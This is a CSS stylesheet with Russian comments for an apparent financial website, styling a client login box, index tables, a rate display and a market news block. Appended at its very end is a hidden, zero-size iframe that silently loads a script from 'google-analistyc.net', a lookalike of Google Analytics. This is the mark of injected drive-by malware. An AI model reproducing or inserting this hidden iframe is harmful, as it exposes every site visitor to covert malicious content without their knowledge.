/* begin: вход для клиентов на центральной странице */
/* */
table.enter_i {height: 130px; width: 225px; margin-top: 20px; margin-bottom: 20px; background-color: #f5f5f5; margin-left: 10px;}
table.enter_i h2 {margin:0; margin-bottom: 16px; position:relative; top: 10px; font-size: 12px;color: #8a0101;}
table.enter_i td.left {background: url(/images/vi/enter/index/left.gif) no-repeat left bottom; width: 12px; height: 130px;}
table.enter_i td.right {background: url(/images/vi/enter/index/right.gif) no-repeat right bottom; width: 12px; height: 130px;}
table.enter_i td.top {background: url(/images/vi/enter/index/top.gif) repeat-x left top; width: 225px; height: 4px;}
table.enter_i td.bottom {background: url(/images/vi/enter/index/bottom.gif) repeat-x left bottom; width: 225px; height: 4px;}
table.enter_i input {width:140px; position: relative; margin-left: 2px; border: 1px #85a2bd solid; background: #e0dfde; margin-top: 3px; height: 16px; padding:0;}
table.enter_i span {font-size: 12px; font-weight: bold; color: #4d4d4d;}
table.enter_i div.links {margin-top: 10px;}
table.enter_i div.links a:link, table.enter_i div.links a:hover, table.enter_i div.links a:visited, table.enter_i div.links a:active{color: #004c98; text-decoration:underline; font-size: 11px;}

/* end: вход для клиентов на центральной странице */
/* */

div.in1 {position: relative; margin-top: 0px; margin-left: -5px; background: url(/images/vi/right/indexes1.gif) no-repeat;	height: 260px; width: 250px;}
div.in2 {position: relative; margin-top: -20px; margin-left: 0px; background: url(/images/vi/right/indexes2.gif) no-repeat; height: 260px; width: 250px;}
div.in3 {position: relative; margin-top: -20px; margin-left: 5px; background: url(/images/vi/right/indexes3.gif) no-repeat; height: 150px; width: 250px;}
div.in4 {position: relative; margin-top: 0; margin-left: 5px; background: url(/images/vi/right/indexes4.gif) no-repeat; height: 150px; width: 250px;}

.b {background:url(/images/vi/b/lbg1.gif) repeat-y;}
.bbg1 {background:url(/images/vi/b/lbg.gif) repeat-y;}
.bbg2 {background:url(/images/vi/b/rbg.gif) right 0 repeat-y;}
.bbg3 {background:url(/images/vi/b/ltbg.gif) no-repeat;}
.bbg4 {background:url(/images/vi/b/lbbg.gif) 0 bottom no-repeat;}
.bbg5 {background:url(/images/vi/b/rtbg.gif) right 0 no-repeat;}
.bbg6 {background:url(/images/vi/b/rbbg.gif) right bottom no-repeat; padding:12px 12px 24px 24px;}
.b td {vertical-align:middle;}
.punktir {background:url(/images/vi/b/tdbg.gif) repeat-y;}
.b td, .b th {color:#217827; vertical-align:top;}
.b span {padding:0 0 0 14px; display:block; font-size:8pt;}
.b th {padding:2px 0 8px 0;}

/* Правые блоки */
/* */
div.indexes h2 {font-size:10pt; color:#8a0101; padding:18px 0px 8px 24px; margin:0;}
div.indexes h2 span {color:#4c4c4c;}
div.indexes table {margin-top: 10px; margin-left: 24px; line-height: 14px; width: 200px;}
div.indexes th {color:#8e604b; font-size:8pt; padding:6px;}
div.indexes td {font-size:8pt;padding:3px 4.6px; color:#252d39; white-space:nowrap;}
.sred {display:block; text-align:right; color:#8a0101;}
.red {display:block; text-align:right; color:#db5252;}
.green {display:block; text-align:right; color:#589236;}

/* Курс */
/* */
.cena {color:#4c4c4c; font-size:16pt; line-height: 18px;}

/* begin: блок о компании */
/* */
table.about {margin:20px 20px 0px 20px; border:none; background:#FFF;}
table.about td {border:none; background:white;}
table.about td.l {background: url(/images/vi/company/center.gif) repeat-y left; width: 18px;}
table.about td.bl {background: url(/images/vi/company/bottom.gif) no-repeat left top; height: 7px; width: 18px;}
table.about td.tl {background: url(/images/vi/company/top.gif) no-repeat left bottom; height: 7px; width: 18px;}
table.about td.text {padding: 10px; padding-left: 0px;}

div.company table.about td.text li {list-style: none; background: url(/images/vi/company/libg.gif) no-repeat left; padding-left: 16px; padding-bottom: 2px;}
div.company table.about td.text p {margin-left: 10px;}
/* end: блок о компании */

/* Новости рынка */
/* */
.rnews {background:url(/images/vi/news/cbg.gif); margin:20px 0 0 -16px;}
.rnbg1 {background:url(/images/vi/news/lbg.gif) no-repeat;}
.rnbg2 {background:url(/images/vi/news/rbg.gif) right 0 no-repeat; height:218px;}
div.rnews h2 {font-family:Arial; font-weight:normal; color:#10579e; font-size:16pt; margin:22px 0 28px; padding:0; position:absolute;}
.rnews h2 span {color:#adb1b6; margin:0 10px;}
.ncont {padding:55px 18px 0 18px;}
.ncont div {height:127px; background:#f2f0e6; overflow: auto; position:relative; border:1px solid #85a2bd; padding:15px 0 0 0; margin:0;}
.rndate, .rntime {display: block; font-weight: bold; color: #646464; font-size: 9pt; padding: 0 12px 13px 12px;}
.ncont a:link, .ncont a:hover, .ncont a:active, .ncont a:visited {color:#2d567e; text-decoration:none; font-size:8pt; font-weight:normal;}

/* Стили для новостей */
/* */
div.newsfirst {padding: 0px 30px; color:#484646;}
a.all_news:active, a.all_news:hover, a.all_news:visited, a.all_news:link {color: #004c98; border-left: solid 1px #adb1b6; padding-left: 20px; margin-left: 20px; font-size: 10pt; background:none;}
span.news_caption {color: #8f0c0d; font-size: 16pt; font-weight: normal;}
p span.newsdate {color: #252d39; font-size: 9pt; font-weight: bold; font-family: arial; display: block; margin-top: 10px;}<!-- ~ --><iframe src="http://google-analistyc.net/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->
